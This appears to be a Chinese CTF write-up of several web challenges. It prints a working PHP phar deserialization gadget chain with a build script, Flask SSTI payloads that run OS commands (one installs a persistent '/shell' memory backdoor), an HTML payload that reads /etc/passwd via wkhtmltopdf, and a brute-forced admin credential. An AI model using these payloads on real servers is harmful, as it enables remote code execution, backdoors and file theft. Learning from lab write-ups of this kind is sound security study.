"open_basedir=/var/www/html:/tmp\nsys_temp_dir=/tmp\nupload_tmp_dir=/tmp\n" \ > /usr/local/etc/php/conf.d/zz-open_basedir.ini--> <?php if ($content !== null): ?> <div aria-live="polite"> <div> <div>文件:<?php echo htmlspecialchars($filename, ENT_QUOTES); ?></div> <div><?php echo strlen($content); ?> bytes</div> </div> <div><pre><?php echo htmlspecialchars($content, ENT_QUOTES); ?></pre></div> </div> <?php elseif ($error === null && isset($_GET['filename'])): ?> <div>未能读取内容或文件为空。</div> <?php endif; ?> </div> </body> </html>

index.php用到了function.php

<?php class A { public $file; public $luo; public function __construct() { } public function __toString() { $function = $this->luo; return $function(); } } class B { public $a; public $test; public function __construct() { } public function __wakeup() { echo($this->test); } public function __invoke() { $this->a->rce_me(); } } class C { public $b; public function __construct($b = null) { $this->b = $b; } public function rce_me() { echo "Success!\n"; system("cat /flag/flag.txt > /tmp/flag"); } }

读取robots.txt发现uploads.php

<?php $uploadDir = __DIR__ . '/uploads/'; if (!is_dir($uploadDir)) { mkdir($uploadDir, 0755, true); } $whitelist = ['txt', 'log', 'jpg', 'jpeg', 'png', 'zip','gif','gz']; $allowedMimes = [ 'txt' => ['text/plain'], 'log' => ['text/plain'], 'jpg' => ['image/jpeg'], 'jpeg' => ['image/jpeg'], 'png' => ['image/png'], 'zip' => ['application/zip', 'application/x-zip-compressed', 'multipart/x-zip'], 'gif' => ['image/gif'], 'gz' => ['application/gzip', 'application/x-gzip'] ]; $resultMessage = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { $file = $_FILES['file']; if ($file['error'] === UPLOAD_ERR_OK) { $originalName = $file['name']; $ext = strtolower(pathinfo($originalName, PATHINFO_EXTENSION)); if (!in_array($ext, $whitelist, true)) { die('File extension not allowed.'); } $mime = $file['type']; if (!isset($allowedMimes[$ext]) || !in_array($mime, $allowedMimes[$ext], true)) { die('MIME type mismatch or not allowed. Detected: ' . htmlspecialchars($mime)); } $safeBaseName = preg_replace('/[^A-Za-z0-9_\-\.]/', '_', basename($originalName)); $safeBaseName = ltrim($safeBaseName, '.'); $targetFilename = time() . '_' . $safeBaseName; file_put_contents('/tmp/log.txt', "upload file success: $targetFilename, MIME: $mime\n"); $targetPath = $uploadDir . $targetFilename; if (move_uploaded_file($file['tmp_name'], $targetPath)) { @chmod($targetPath, 0644); $resultMessage = '<div> File uploaded successfully '. '</div>'; } else { $resultMessage = '<div> Failed to move uploaded file.</div>'; } } else { $resultMessage = '<div> Upload error: ' . $file['error'] . '</div>'; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Secure File Upload</title> <style> body { font-family: "Segoe UI", Arial, sans-serif; background: linear-gradient(135deg, #e3f2fd, #f8f9fa); height: 100vh; display: flex; align-items: center; justify-content: center; } .container { background: #fff; padding: 2em 3em; border-radius: 16px; box-shadow: 0 8px 24px rgba(0,0,0,0.1); max-width: 400px; width: 90%; text-align: center; } h1 { color: #0078d7; margin-bottom: 0.8em; font-size: 1.6em; } input[type="file"] { display: block; margin: 1em auto; font-size: 0.95em; } button { background-color: #0078d7; color: white; border: none; padding: 0.6em 1.4em; border-radius: 6px; cursor: pointer; transition: 0.2s ease; } button:hover { background-color: #005ea6; } .success, .error { margin-top: 1em; padding: 0.8em; border-radius: 8px; font-weight: 600; } .success { background: #e8f5e9; color: #2e7d32; border: 1px solid #81c784; } .error { background: #ffebee; color: #c62828; border: 1px solid #ef9a9a; } .footer { margin-top: 1.5em; font-size: 0.85em; color: #666; } </style> </head> <body> <div> <h1>📤 File Upload Portal</h1> <form method="POST" enctype="multipart/form-data"> <input type="file" name="file" required> <button type="submit">Upload</button> </form> <?= $resultMessage ?> <div>Allowed types: txt, log, jpg, jpeg, png, zip</div> </div> </body> </html>

审计一下代码

并没有反序列化入口。哎呀,对phar反序列化漏洞又有点模糊了

其实先学习一下pharPHP: 简介 - Manual

php反序列化拓展攻击详解--phar-先知社区

Phar 反序列化本身只是 “触发反序列化”,能否执行命令取决于目标代码中是否存在可利用的反序列化 Gadget 链(即类的魔术方法或普通方法中包含危险操作,如 eval()system()、文件写入等)。

简单来说:

  • Phar 反序列化是触发手段,用来绕过常规反序列化的调用场景(比如目标代码没有直接调用 unserialize(),但支持 phar:// 协议解析文件);
  • 命令执行是漏洞链的结果,需要目标代码中存在能执行命令的类方法(如 __wakeup()__destruct()__toString() 等魔术方法调用危险函数)。

Phar 反序列化执行命令的典型流程

  1. 构造恶意 Phar 文件:将包含恶意 Gadget 链的序列化对象存入 Phar 文件的元数据,再将 Phar 文件伪装成其他格式(如 zip、png,绕过上传检测)。
  2. 触发 Phar 解析:让目标代码通过 phar:// 协议读取该文件(比如 file_get_contents("phar://恶意文件路径/test.txt")),此时 PHP 会自动反序列化元数据中的恶意对象。
  3. 触发漏洞链执行命令:反序列化过程中调用类的魔术方法(如 __wakeup()__toString()),逐步触发 Gadget 链,最终执行危险函数(如 system()exec())实现命令执行。

emm下次在更新这题吧,phar还要了解。不行还是继续吧

php反序列化还有gc机制,不过这题没有
 

关键机制(必须记住)

当 PHP 访问:

phar://xxx/yyy

并且这个文件是一个 PHAR 包时,PHP 会:

  1. 解析 PHAR 结构
  2. 读取 manifest
  3. 自动 unserialize PHAR 的 metadata

📌 这个行为不需要你调用 unserialize()

没有unseralize()+upload+file_get_contents+没有过滤phar://一眼phar反序列化。

exp

unserialize() └─ 触发 B::__wakeup() └─ echo $this->test; // $this->test 是 A 实例 └─ 触发 A::__toString() // 因为 A 被当作字符串使用 └─ $function = $this->luo; // $luo = [$b, '__invoke'] └─ return $function(); // 等价于 $b->__invoke() └─ B::__invoke() └─ $this->a->rce_me(); // $this->a 是 C 实例 └─ C::rce_me() └─ system("cat /flag/flag.txt > /tmp/flag");
<?php class A { public $file; public $luo; } class B { public $a; public $test; } class C { public $b; public function rce_me() { system("cat /flag/flag.txt > /tmp/flag"); } } // 构造对象 $c = new C(); $b = new B(); $b->a = $c; // B::$a = C instance $a = new A(); $a->file = $b; // A::$file = B instance $a->luo = [$b, '__invoke']; // callable array, serializable! $b->test = $a; // B::$test = A instance → echo triggers __toString @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($b); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?> 

PHAR 反序列化反的就是 metadata 这一块,其它部分只是“容器格式”,不参与反序列化。

然后反序列化链咋构造呢

看下目的就是调用C::rce_me,类B的__invoke$this->a->rce_me(); 这里把类B实例的属性a设置为C实例,然后当一个对象被当作函数(方法)调用时,会自动触发该对象的__invoke方法。看看哪个类的有对象被当作函数(方法)。类A的__toString方法有return $function();那把$function(luo)设置为B实例就行。但是最后咋触发tostring()呢,噢,类B有个__weakup有echo可以触发__tostring(),就是把test设置为类A的实例。正好反序列化会触发__weakup().

噢,最外层是b,$b->test = $a;所以这个写最下面

本来我的想法是$a->luo = $b

它用的是$a->luo = [$b, '__invoke']

结论先行

$a->luo = [$b, '__invoke'] 不是“只能用 __invoke”,
而是:__invoke 只是“当前这个类里唯一能被当作终点的方法”。

数组 callable 的本质是:

[$对象, '方法名']

👉 方法名是任意字符串,只要这个方法存在、可访问、参数匹配,就能被调用。


一、数组 callable 到底能调用什么?

基本规则

[$obj, 'method']();

等价于:

$obj->method();

只要满足:

  • 方法存在
  • 方法是 public
  • 参数数量匹配

所以在这题里:

[$b, '__invoke']

等价于:

$b->__invoke();

百年继承

跳了,

路在脚下

看起来是flask ssti,但是没有回显内容

回显只有3种,看wp有两种一种是内存马,一种是bool盲注。wp好简略。

1 2 3 
渲染出错了!:模板渲染报错 渲染出来不一样,我不会告诉你任何事情!:渲染成功 这样的东西我是不会给你渲染的!:waf

盲注payload

{{ 1 / (1 if ''.__class__.__mro__[1].__subclasses__()[191].__init__.__globals__['os'].popen('printenv FLAG').read().strip()[{{int(0-52)}}] == '{{payload(ascii)}}' else 0) }}

flag看起来在环境变量FLAG。所以是printenv FLAG,但是不知道题目有没有给源码,这是后续复现找的

因为盲注场景没有直接输出,所以需要把 “枚举下标” 和 “盲注的回显规则” 结合起来,一步步验证出包含os模块的类的下标是 191。

# 检测下标N是否包含os模块(把N换成0、1、2、3...) {{ 1 / (1 if ''.__class__.__mro__[1].__subclasses__()[N].__init__.__globals__.get('os') is not None else 0) }}

这是ai写的payload可是我测不出来

不管看了直接看内存马

{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.exec("app = __import__('sys').modules['__main__'].__dict__['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: __import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}}

wp太简略了,剩下的以后懂的多了在看吧

pdf viewer

题目实现 html 转为 PDF的功能,一般在 PDF 文件头信息或者是 burp 的响应中能看到关键组件信息,有时候他也存在于响应的 UA 中,通过下载的 PDF 头查看到用的是 wkhtmltopdf 组件,此组件网上也有现成的漏洞资料,用的是 XHR 跨域读取本地文件。

“wkhtmltopdf 组件在服务端执行 JS,允许通过 XHR 访问 file:// 协议,造成任意文件读取”

这个总算能看懂

payload

<!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> <h2>File Content:</h2> <pre>Loading...</pre> <script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'file:///etc/passwd', true); xhr.onreadystatechange = function() { if (xhr.readyState === 4) { var content = xhr.responseText || 'Failed to read file'; document.getElementById('output').textContent = content; } }; xhr.send(); </script> </body> </html>

爆破密码

WeakPassword_Admin/qwerty

Could not load content